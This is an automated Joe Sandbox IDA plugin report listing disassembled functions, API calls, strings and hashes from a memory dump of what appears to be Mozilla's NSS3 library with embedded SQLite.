Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: e62ec4930a4ae7703b281af7647e568b8ba64fbbb7678a6ec12a2cfcfe6f5a2a
Instruction ID: 4c8cfc706fc83b03c7517f3490e5126ddc8325c9d06ed16d40a75c5444d990a3
Opcode Fuzzy Hash: e62ec4930a4ae7703b281af7647e568b8ba64fbbb7678a6ec12a2cfcfe6f5a2a
Instruction Fuzzy Hash: EA01FEB2B812105FEB0196ACAC817AF31784B8755DF284036E805CF701F615D9474AD3

Function 6CF9BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BDC3
free.MOZGLUE(?,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BE21
free.MOZGLUE(00000000,00000000,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BE32

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: a677b4722f65fcbb6425baa8adce7fc4ebdb4e188fa40bedda4a6ce9c424636e
Instruction ID: 268a4cc561f5180374ac398366f38f32cad4c2e9ad9264e49a26a4dc0b12a96f
Opcode Fuzzy Hash: a677b4722f65fcbb6425baa8adce7fc4ebdb4e188fa40bedda4a6ce9c424636e
Instruction Fuzzy Hash: 87110DB6F21216AFDFD0DF29C8097463BB5AB4E254B540465D60AC77A0F732A414CB91

Function 6CF97C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF97C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF97C83
malloc.MOZGLUE(00000001), ref: 6CF97C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF97C9F
PR_GetCurrentThread.NSS3 ref: 6CF97CAD

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 3c5bfdea1a7f2495faa7623b539cd09cb6ddb2f52d7ac1cf7a24b2be6252164a
Instruction ID: 8a56bf6397befb5c99feb483c957addc53edd8ce31a8e6cab721d4446f059c6d
Opcode Fuzzy Hash: 3c5bfdea1a7f2495faa7623b539cd09cb6ddb2f52d7ac1cf7a24b2be6252164a
Instruction Fuzzy Hash: 29F0C2B1A102066BEF049F3AAC099477B5CEF00265B018436E819C3B01EB30E114CAE6

Function 6CF9ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF9A6D8), ref: 6CF9AE0D
free.MOZGLUE(?), ref: 6CF9AE14
DeleteCriticalSection.KERNEL32(6CF9A6D8), ref: 6CF9AE36
free.MOZGLUE(?), ref: 6CF9AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF9A6D8), ref: 6CF9AE47

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 7dc403061e977cee45b493d7144a178ee4cf8520a255e1745c445b7101a52a11
Instruction ID: 406edef89dc185b5e84f266cf069f10071bf064358190c6f0c88040ee5117d81
Opcode Fuzzy Hash: 7dc403061e977cee45b493d7144a178ee4cf8520a255e1745c445b7101a52a11
Instruction Fuzzy Hash: 75F09675A01A01A7DE11AF79D808A5777B8BF867757140328E52A83940D731F115C7D5

Function 6CE27C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE27D35

Strings

%s at line %d of [%.10s], xrefs: 6CE27D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE27D13, 6CE27D1F, 6CE27D47, 6CE27D53, 6CE27D5F
database corruption, xrefs: 6CE27D29

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: d59447016b0f163ae518bc582c3d5749df7579db3fa55682194e3b90c9546595
Instruction ID: 47ac708f25d106685b2cec7be9a7c2425f87c29647b3bdca530757085fcc8ac0
Opcode Fuzzy Hash: d59447016b0f163ae518bc582c3d5749df7579db3fa55682194e3b90c9546595
Instruction Fuzzy Hash: B7310971E0422697C710CF9EC880ABEB7F1EF4A309B690196E444B7782D775DC41C7A5

Function 6CE16C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CE16D36

Strings

%s at line %d of [%.10s], xrefs: 6CE16D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE16D20
database corruption, xrefs: 6CE16D2A

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: cadb321bceac6744af19fdbb819278c3f0f3e7b8b76a83b265e2f3c852aafb92
Instruction ID: 492a79040ac9a2da068ba694941ff03b1ac6b16ff32f800e1a296c6ce353a96b
Opcode Fuzzy Hash: cadb321bceac6744af19fdbb819278c3f0f3e7b8b76a83b265e2f3c852aafb92
Instruction Fuzzy Hash: EA2100717183059BC7109E1AC841B9AB7FAEF81308F34892CD8499BF50E371F969CB92

Function 6CEF2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CEF32C2,<+l,00000000,00000000,?), ref: 6CEF2FDA

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEF300B

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEF302A

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

Part of subcall function 6CECC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CECC45D
Part of subcall function 6CECC3D0: TlsGetValue.KERNEL32 ref: 6CECC494
Part of subcall function 6CECC3D0: EnterCriticalSection.KERNEL32(?), ref: 6CECC4A9
Part of subcall function 6CECC3D0: PR_Unlock.NSS3(?), ref: 6CECC4F4

Strings

<+l, xrefs: 6CEF2FD0

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 35e48f3063789094f5a4df611ba39e49066095e1721ffd7dea65bb4d5daed2b7
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 4F11EBB6B001046BDB008E64EC00A9B77E99B842ACF384139EC2CD7781E772ED16C791

Function 6CF4CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF4CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF4CC7B), ref: 6CF4CD7A
Part of subcall function 6CF4CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF4CD8E
Part of subcall function 6CF4CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF4CDA5
Part of subcall function 6CF4CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF4CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF4CCB5
memcpy.VCRUNTIME140(6CFE14F4,6CFE02AC,00000090), ref: 6CF4CCD3
memcpy.VCRUNTIME140(6CFE1588,6CFE02AC,00000090), ref: 6CF4CD2B

Part of subcall function 6CE69AC0: socket.WSOCK32(?,00000017,6CE699BE), ref: 6CE69AE6
Part of subcall function 6CE69AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE699BE), ref: 6CE69AFC

Part of subcall function 6CE70590: closesocket.WSOCK32(6CE69A8F,?,?,6CE69A8F,00000000), ref: 6CE70597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF4CCB0

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: d489f4be2971bb82b04e0f2a66395ed5fe443a5fd26f3521bb77c18c3945ac80
Instruction ID: f4e54b0560a41710ad105d9f48face06fd1577792687f00eca218fa70ab03048
Opcode Fuzzy Hash: d489f4be2971bb82b04e0f2a66395ed5fe443a5fd26f3521bb77c18c3945ac80
Instruction Fuzzy Hash: B21133B1F113407EEFD09B5B9C467563AB8934E218F14A039E5168BB53E772C448CBD2

Function 6CEB1CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CEB1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CEB1CF1

Part of subcall function 6CF909D0: PR_Now.NSS3 ref: 6CF90A22
Part of subcall function 6CF909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF90A35
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF90A66
Part of subcall function 6CF909D0: PR_GetCurrentThread.NSS3 ref: 6CF90A70
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF90A9D
Part of subcall function 6CF909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF90AC8
Part of subcall function 6CF909D0: PR_vsmprintf.NSS3(?,?), ref: 6CF90AE8
Part of subcall function 6CF909D0: EnterCriticalSection.KERNEL32(?), ref: 6CF90B19
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF90B48
Part of subcall function 6CF909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF90C76
Part of subcall function 6CF909D0: PR_LogFlush.NSS3 ref: 6CF90C7E

Strings

C_Initialize, xrefs: 6CEB1CD3
pInitArgs = 0x%p, xrefs: 6CEB1CEC

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: e6e3ff3e68bec83eff7474cf5f0f9b7e2465de4d4df17e7a31b66854504e5b70
Instruction ID: ead31d5a0e7eb439b053499e516d46e95fef34df116c4bc649fb1bb563a5afb6
Opcode Fuzzy Hash: e6e3ff3e68bec83eff7474cf5f0f9b7e2465de4d4df17e7a31b66854504e5b70
Instruction Fuzzy Hash: 4601D234A10081EFDFD49B94DA48B6533B5EBCA32AF144428E408E2711EF35D949CB92

Function 6CE0A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CF3A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CF5C3A2,?,?,00000000,00000000), ref: 6CF3A528
Part of subcall function 6CF3A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF3A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0A94F

Strings

%s at line %d of [%.10s], xrefs: 6CE0A948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0A939
database corruption, xrefs: 6CE0A943

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 591ec43e1a217631418f1a588defbe29cefff378d7bf0914d3f5b6416262919c
Instruction ID: 36a9a75019305d3077075fecf7b600356ef749beedb3c9a01afbdc459af9f06c
Opcode Fuzzy Hash: 591ec43e1a217631418f1a588defbe29cefff378d7bf0914d3f5b6416262919c
Instruction Fuzzy Hash: 96014932F402086BC7008B7AEC01B9BB7F5AB45309F954839E94D97B41D772AC19C7D1

Function 6CE17F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CE181DF
LeaveCriticalSection.KERNEL32(?), ref: 6CE18239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE18255
sqlite3_free.NSS3(00000000), ref: 6CE18260

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 531aa67391635d9ae60940e2845b8cdda93b6ed027a9a54e221ecd2b53ea9c96
Instruction ID: be877f7b4ae58ae9b3b29dffa8f958f03def080d105c45eadcc240430238eb68
Opcode Fuzzy Hash: 531aa67391635d9ae60940e2845b8cdda93b6ed027a9a54e221ecd2b53ea9c96
Instruction Fuzzy Hash: E491AE31E152089FEB44DFE0D8487ADBBB2BF0A308F35412ED4169BA54DB396965CB81

Function 6CEF1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEF1D8F

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEF1DA6

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CEF1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEF1ED0

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: b8ca846fcce3ad9e17ff1e2c2f104b42900a882743dc487c4cd1abbfb4969a3a
Instruction ID: d0c763e5dc14281bcf206430b1637f0fab52f7039cc98a343b5c006b633d3ece
Opcode Fuzzy Hash: b8ca846fcce3ad9e17ff1e2c2f104b42900a882743dc487c4cd1abbfb4969a3a
Instruction Fuzzy Hash: 89514AB5A0030DDFDB14CF98C884BAEBBB6BF49358F244129D8299B751D731E946CB90

Function 6CF44FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CE285D2,00000000,?,?), ref: 6CF44FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF450C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF450D6

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 897081f9ee58480959a8574b92de3037a01e77c728743b846db4821ad9404343
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 564182B6A402158FDB18CF18DCD179ABBE1BF4431871D866DD84ACBB02E775E891CB81

Function 6CE6FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CE6FDFE), ref: 6CE6FFAD

Part of subcall function 6CE0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CE6F9C9,?,6CE6F4DA,6CE6F9C9,?,?,6CE3369A), ref: 6CE0CA7A
Part of subcall function 6CE0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CE0CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CE6FDFE), ref: 6CE6FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CE6FDFE), ref: 6CE7001C
